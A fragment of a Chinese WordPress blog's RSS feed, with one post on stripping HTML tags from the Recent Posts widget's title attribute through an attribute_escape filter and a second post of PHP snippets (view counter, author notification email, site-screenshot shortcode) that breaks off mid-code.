		<description><![CDATA[default-widgets.php line 550: 1&#160; &#160; &#160; &#160; &#60;li&#62;&#60;a href=&#34;&#60;?php the_permalink&#40;&#41; ?&#62;&#34; title=&#34;&#60;?php echo esc_attr&#40;get_the_title&#40;&#41; ? get_the_title&#40;&#41; : get_the_ID&#40;&#41;&#41;; ?&#...]]></description>
			<content:encoded><![CDATA[<p>default-widgets.php line 550:</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap">&nbsp; &nbsp; &nbsp; &nbsp; &lt;li&gt;&lt;a href=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> the_permalink<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot; title=&quot;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> esc_attr<span style="color: #009900;">&#40;</span>get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> ? get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> get_the_ID<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&quot;&gt;<span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span> get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span> the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #b1b100;">else</span> the_ID<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span>&lt;/a&gt;&lt;/li&gt;</div></td></tr></tbody></table></div>
<p>属性处未过滤html标签.<br />
查看下the_title_attribute函数的源码会发现这个函数是过滤了的~~~<br />
因此，手动修复它吧，如果为了这个自己重新写一个最近文章的widget,划不来~~~，能偷懒则偷。</p>
<p>因为get_the_title会应用the_title勾子，如果我在the_title HOOK函数中写入HTML代码，此时，显示的东西就不是我们想要的。</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span> <span style="color: #b1b100;">echo</span> esc_attr<span style="color: #009900;">&#40;</span><a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span>get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> ? get_the_title<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">:</span> get_the_ID<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #000000; font-weight: bold;">?&gt;</span></div></td></tr></tbody></table></div>
<p>然后又看了下esc_attr函数，</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> esc_attr<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> wp_check_invalid_utf8<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> _wp_specialchars<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> apply_filters<span style="color: #009900;">&#40;</span> <span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<p>发现它是可HOOK的，因此，上面的方案又可以修改了。</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//something like &amp;lt;span style=&amp;quot;color: rgb(121, 6, 25);&amp;quot; &amp;gt;最近文章title属性去除HTML标签&amp;lt;/span&amp;gt;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> strip_all_attribute_tags<span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/html_entity_decode"><span style="color: #990000;">html_entity_decode</span></a><span style="color: #009900;">&#40;</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'strip_all_attribute_tags'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">99</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p>这样行了吗？有些问题<br />
经html_entity_decode后，一些字符可能会出现乱码。如果写成这样就安全了，不过效率上我不怎么喜欢，有些事情做了两遍：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//something like &amp;lt;span style=&amp;quot;color: rgb(121, 6, 25);&amp;quot; &amp;gt;最近文章title属性去除HTML标签&amp;lt;/span&amp;gt;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> strip_all_attribute_tags<span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> wp_check_invalid_utf8<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> _wp_specialchars<span style="color: #009900;">&#40;</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">ENT_QUOTES</span> <span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$safe_text</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'strip_all_attribute_tags'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">99</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p><del datetime="2012-01-03T07:55:12+00:00"><br />
最后，决定采取特殊问题特殊化的策略：</p>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #666666; font-style: italic;">//由于最后生成的title内容形如</span><br />
<span style="color: #666666; font-style: italic;">//&amp;lt;span style=&amp;quot;color: rgb(121, 6, 25);&amp;quot; &amp;gt;最近文章title属性去除HTML标签&amp;lt;/span&amp;gt;</span><br />
<span style="color: #666666; font-style: italic;">//其实这里用strpos截取也是可以的，不过我没有测试二者的实际速度相差有多大。不用正则，太耗费时间</span><br />
<span style="color: #000000; font-weight: bold;">function</span> strip_all_attribute_tags<span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #339933;">,</span> <span style="color: #000088;">$text</span> <span style="color: #009900;">&#41;</span><br />
<span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span> <span style="color: #339933;">=</span> <a href="http://www.php.net/str_replace"><span style="color: #990000;">str_replace</span></a><span style="color: #009900;">&#40;</span> <br />
&nbsp; &nbsp; &nbsp; &nbsp; <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&amp;lt;span style=&amp;quot;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;quot; &amp;gt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&amp;lt;/span&amp;gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'&lt;span style=&quot;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&quot; &gt;'</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'&lt;/span&gt;'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <a href="http://www.php.net/strip_tags"><span style="color: #990000;">strip_tags</span></a><span style="color: #009900;">&#40;</span><span style="color: #000088;">$safe_text</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_filter<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'attribute_escape'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'strip_all_attribute_tags'</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">99</span><span style="color: #339933;">,</span> <span style="color: #cc66cc;">2</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<p></del></p>

<script type="text/javascript"> 
var cur_host=top.location.hostname;
var huangye_host="ihacklog.com";
if ( huangye_host != cur_host) 
{
	var cur_url=top.location.href;
	//top.location.href = cur_url.replace(cur_host,huangye_host);
	top.location.href = "http://ihacklog.com/?p=5271";
}
</script> 			
<div class='sub'><h4>喜欢这篇文章吗?</h4><p>请订阅本站 <a class="feed" style="font-family:Consolas,'DejaVu Sans Mono',monospace,'Comic Sans MS',Monaco;font-size:14px;" href="http://ihacklog.com/feed" onclick="prompt(&#39;URL:&#39;, this.href); return false;">RSS feed</a> 或<a style="display:inline-block;width:90px;margin-bottom:-8px;" target="_blank" href="http://list.qq.com/cgi-bin/qf_invite?id=5899d1ae341c4fb741adf6648000fbaf3ef47b98e2a163da"><img border="0" alt="填写您的邮件地址，订阅我们的精彩内容：" src="http://rescdn.list.qq.com/zh_CN/htmledition/images/qunfa/manage/picMode_dark_s.png" /></a></p></div>
                <!-- 版权声明开始 -->
   		<div id="permissions">
		作者：<a href="http://ihacklog.com">荒野无灯</a><br/>
		出处：<span style="color: #333300;"><a target="_blank"  href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span><br/>
                <!-- 版权声明结束 -->
                <!-- 协议声明开始 -->
            <p>
            <strong>声明:</strong> 本站遵循 <span style="color: #ff0000;"><a href="http://creativecommons.org/licenses/by-nc-sa/2.5/cn/" target="_blank"> 署名-非商业性使用-相同方式共享 2.5</a> </span>共享协议. 转载请注明转自<span style="color: #333300;"><a target="_blank" href="http://ihacklog.com"><strong>Hacklog</strong>【荒野无灯weblog】</a></span>
            </p>
                <!-- 协议声明结束 -->
                
             <p>
             本文链接:  <a  target="_blank"  href="http://ihacklog.com/?p=5271" title="Permanent Link to 最近文章title属性去除HTML标签" onclick="prompt(&#39;URL:&#39;, this.href); return false;">http://ihacklog.com/?p=5271</a>
            </p>
             </div><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2011年06月5日  //  <a href="http://ihacklog.com/linux/archlinux/recomplie-linux-kernel-solve-chinses-words-display-bug-under-console.html" title="编译内核解决console下中文显示问题">编译内核解决console下中文显示问题</a> (2)</li><li>2011年05月29日  //  <a href="http://ihacklog.com/software/fcitx4-native-input-method-switch-support-for-vim.html" title="挖出fcitx4.0内置对VIM输入模式的切换支持">挖出fcitx4.0内置对VIM输入模式的切换支持</a> (5)</li><li>2008年12月25日  //  <a href="http://ihacklog.com/security_optimization/%e5%85%b3%e4%ba%8ephp%e5%ae%89%e5%85%a8%e7%9a%84%e4%b8%80%e7%af%87%e6%96%87%e7%ab%a0.html" title="关于PHP安全的一篇文章">关于PHP安全的一篇文章</a> (0)</li><li>2011年10月7日  //  <a href="http://ihacklog.com/linux/archlinux/set-dnsmasq-as-dns-cache-server.html" title="Linux下用dnsmasq做dns cache server">Linux下用dnsmasq做dns cache server</a> (7)</li><li>2009年12月13日  //  <a href="http://ihacklog.com/php/skills/php-equal-comparison-operators.html" title=" php中的==与==="> php中的==与===</a> (5)</li><li>2009年05月8日  //  <a href="http://ihacklog.com/software/onlinetools/webiminhotmail.html" title="Web IM in Hotmail!">Web IM in Hotmail!</a> (1)</li></ul>]]></content:encoded>
			<wfw:commentRss>http://ihacklog.com/php/wordpress/problems/strip-title-attribute-html-tags.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Super useful WordPress hacks and snippets</title>
		<link>http://ihacklog.com/php/wordpress/wpskills/super-useful-wordpress-hacks-and-snippets.html</link>
		<comments>http://ihacklog.com/php/wordpress/wpskills/super-useful-wordpress-hacks-and-snippets.html#comments</comments>
		<pubDate>Tue, 03 Jan 2012 01:56:39 +0000</pubDate>
		<dc:creator>荒野无灯</dc:creator>
				<category><![CDATA[wp技巧]]></category>

		<guid isPermaLink="false">http://ihacklog.com/?p=5267</guid>
		<description><![CDATA[1.免插件实现日志浏览数记录 12345678910111213141516171819202122function getPostViews&#40;$postID&#41;&#123; &#160; &#160; $count_key = 'post_views_count'; &#160; &#160; $count = get_post_meta&#40;$postID, $count_key, true&#41;; &#160; &#160; if&#40;$count==''&#41;&#12...]]></description>
			<content:encoded><![CDATA[<h3>1.免插件实现日志浏览数记录</h3>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> getPostViews<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$count_key</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'post_views_count'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> get_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count_key</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$count</span><span style="color: #339933;">==</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; delete_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count_key</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; add_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count_key</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">&quot;0 View&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #000088;">$count</span><span style="color: #339933;">.</span><span style="color: #0000ff;">' Views'</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
<span style="color: #000000; font-weight: bold;">function</span> setPostViews<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$count_key</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'post_views_count'</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> get_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count_key</span><span style="color: #339933;">,</span> <span style="color: #009900; font-weight: bold;">true</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$count</span><span style="color: #339933;">==</span><span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$count</span> <span style="color: #339933;">=</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; delete_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count_key</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; add_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count_key</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'0'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$count</span><span style="color: #339933;">++;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; update_post_meta<span style="color: #009900;">&#40;</span><span style="color: #000088;">$postID</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count_key</span><span style="color: #339933;">,</span> <span style="color: #000088;">$count</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span><br />
<span style="color: #009900;">&#125;</span></div></td></tr></tbody></table></div>
<hr />
<h3>2.在contributors的日志发布后自动发邮件给他们</h3>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">function</span> wpr_authorNotification<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_id</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$post</span> <span style="color: #339933;">=</span> get_post<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post_id</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;<span style="color: #000088;">$author</span> <span style="color: #339933;">=</span> get_userdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_author</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp;<span style="color: #000088;">$message</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<br />
&nbsp; &nbsp; &nbsp; Hi &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$author</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">display_name</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;,<br />
&nbsp; &nbsp; &nbsp; Your post, &quot;</span><span style="color: #339933;">.</span><span style="color: #000088;">$post</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">post_title</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot; has just been published. Well done!<br />
&nbsp; &nbsp;&quot;</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp;wp_mail<span style="color: #009900;">&#40;</span><span style="color: #000088;">$author</span><span style="color: #339933;">-&gt;</span><span style="color: #004000;">user_email</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;Your article is online&quot;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$message</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<span style="color: #009900;">&#125;</span><br />
add_action<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'publish_post'</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">'wpr_authorNotification'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span></div></td></tr></tbody></table></div>
<hr />
<h3>3.用短代码实现外链网站的快照显示</h3>
<div class="codecolorer-container php default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;height:500px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br />10<br />11<br />12<br />13<br />14<br />15<br />16<br />17<br />18<br />19<br />20<br />21<br />22<br />23<br />24<br />25<br />26<br />27<br />28<br />29<br />30<br />31<br /></div></td><td><div class="php codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #000000; font-weight: bold;">&lt;?php</span><br />
<span style="color: #000000; font-weight: bold;">function</span> bm_sc_mshot <span style="color: #009900;">&#40;</span><span style="color: #000088;">$attributes</span><span style="color: #339933;">,</span> <span style="color: #000088;">$content</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span> <span style="color: #000088;">$code</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
<br />
&nbsp; &nbsp; <a href="http://www.php.net/extract"><span style="color: #990000;">extract</span></a><span style="color: #009900;">&#40;</span>shortcode_atts<span style="color: #009900;">&#40;</span><a href="http://www.php.net/array"><span style="color: #990000;">array</span></a><span style="color: #009900;">&#40;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">'url'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #0000ff;">'width'</span> <span style="color: #339933;">=&gt;</span> <span style="color: #cc66cc;">250</span><span style="color: #339933;">,</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span> <span style="color: #000088;">$attributes</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #000088;">$imageUrl</span> <span style="color: #339933;">=</span> bm_mshot <span style="color: #009900;">&#40;</span><span style="color: #000088;">$url</span><span style="color: #339933;">,</span> <span style="color: #000088;">$width</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span><br />
<br />
&nbsp; &nbsp; <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$imageUrl</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">''</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&#125;</span> <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span><br />
&nbsp; &nbsp; &nbsp; &nbsp; <span style="color: #000088;">$image</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'&lt;img src=&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$imageUrl</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; alt=&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$url</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot; width=&quot;'</span> <span style="color: #339933;">.</span> <span style="color: #000088;">$width</span> <span style="color: #339933;">.</span> <span style="color: #0000ff;">'&quot;/&gt;'</span><span style="color: #339933;">;</span><br />
